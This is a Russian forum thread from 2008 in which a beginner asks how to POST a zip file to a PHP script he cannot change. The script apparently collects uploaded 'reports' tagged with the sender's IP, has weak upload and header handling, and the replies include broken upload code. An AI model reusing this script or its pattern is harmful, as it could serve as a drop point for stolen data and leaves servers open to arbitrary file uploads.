Модераторы: Snowy, Poseidon, MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Как записать файл при помощи скрипта PHP, Нужна помощь!!!!! 
:(
    Опции темы
BeeMaster
Дата 3.4.2008, 18:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 117
Регистрация: 3.4.2008

Репутация: нет
Всего: нет



Вся проблема заключается в том, что есть PHP скрипт его менять нельзя (он рабочий). А я не знаю, как организовать правильно пост запрос для передачи файла на FTP. К примеру, 123.zip .

Код

<?
//CFG
$mode = 2;        //1.Send to e-mail, 2.Save to file, 3.E-mail+file
$rndatch = FALSE;    //Random reports names
$savetodir = TRUE;    //Save rerorts to changed directory    
$dirname = "reps";    //Directory name

// a - recepient
// b - subject
// c - message body
// d - file name(not *.php)

//Getting data
$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg = str_replace(" ","+",$_POST['c']);
$var = $_POST['d'];


//Storing || Sending data
//via E-Mail
IF($mode == 1 || $mode == 3){

  IF($rndatch){
    $array = range('a','z');
    $c=count($array);
    $var = $array[rand(1,$c)] . $array[rand(1,$c)] . $array[rand(1,$c)] . $array[rand(1,$c)] . rand(0,9) . rand(0,9) . ".bin";
  };

  $headers = "Content-Type: application/octet-stream; name=\"".$var."\"\n";
  $headers.= "Content-Transfer-Encoding: base64\n";
  $headers.= "Content-Disposition: attachment; filename=\"".$var."\"\n";
  mail($email, $subject, $msg, $headers);
};

//via File
IF($mode == 2 || $mode == 3){

//To dir
 IF($savetodir){
 // @mkdir($dirname);
  @chdir($dirname);
 }

  $vartype=substr($var,-3,3);
  IF($vartype == "php") $var.=".saf";

   $filename = date('H_i-d.m.Y',time()+3600*6)."_".$ip."_".$var;

  $fp=fopen($filename,'w');
  fwrite($fp, base64_decode($msg));
  fclose($fp);
};
?>

<title>ret_ok</title>


Это сообщение отредактировал(а) BeeMaster - 3.4.2008, 18:10
PM MAIL   Вверх
SneG0K
Дата 3.4.2008, 18:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Max Mara
***


Профиль
Группа: Завсегдатай
Сообщений: 1887
Регистрация: 1.12.2007
Где: Wis Dells

Репутация: 2
Всего: 54



А что тут знать? Берешь Mozilla, Tamper Data. Смотриш заголовок, который передается скрипту и все. 
PM WWW Skype   Вверх
BeeMaster
Дата 3.4.2008, 20:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 117
Регистрация: 3.4.2008

Репутация: нет
Всего: нет



Не качается Tamper Data. Ошибку выдает.  smile 

По другому кикак?
PM MAIL   Вверх
BeeMaster
Дата 5.4.2008, 14:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 117
Регистрация: 3.4.2008

Репутация: нет
Всего: нет



Что никто не знает?

Ладно допустим что скрипт как то мне получится изменить на другой. А как под другой скрипт написать код. Помогите пожалуйста я новичок и почти не разбираюсь в программирование (но этот код мне катастрофически нужен) =)
PM MAIL   Вверх
BeeMaster
Дата 7.4.2008, 15:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 117
Регистрация: 3.4.2008

Репутация: нет
Всего: нет



Ну помогите же. Очень надо!!!
PM MAIL   Вверх
MetalFan
Дата 7.4.2008, 21:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Аццкий Сотона
****


Профиль
Группа: Комодератор
Сообщений: 3815
Регистрация: 2.10.2006
Где: Moscow

Репутация: 14
Всего: 128



в центр помощи имхо...


--------------------
There are always someone smarter than you...
PM MAIL   Вверх
KgCoder
Дата 8.4.2008, 08:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 93
Регистрация: 6.3.2008
Где: KGstan

Репутация: нет
Всего: нет



Не совсем понимаю в чём проблема...
Но в файлы передаются через массив $_FILE.
Достаточно загрузить файл туда и постить её на сервер...

Код

<input type="file" name="image" size="20">


Код

$fp=fopen($_FILE['tmp_name'], 'w');


Это сообщение отредактировал(а) KgCoder - 8.4.2008, 08:20
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Сети"
Snowy
Poseidon
MetalFan

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делится вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам помогли и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, Snowy, Poseidon, MetalFan.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Сети | Следующая тема »


 




[ Время генерации скрипта: 0.0610 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.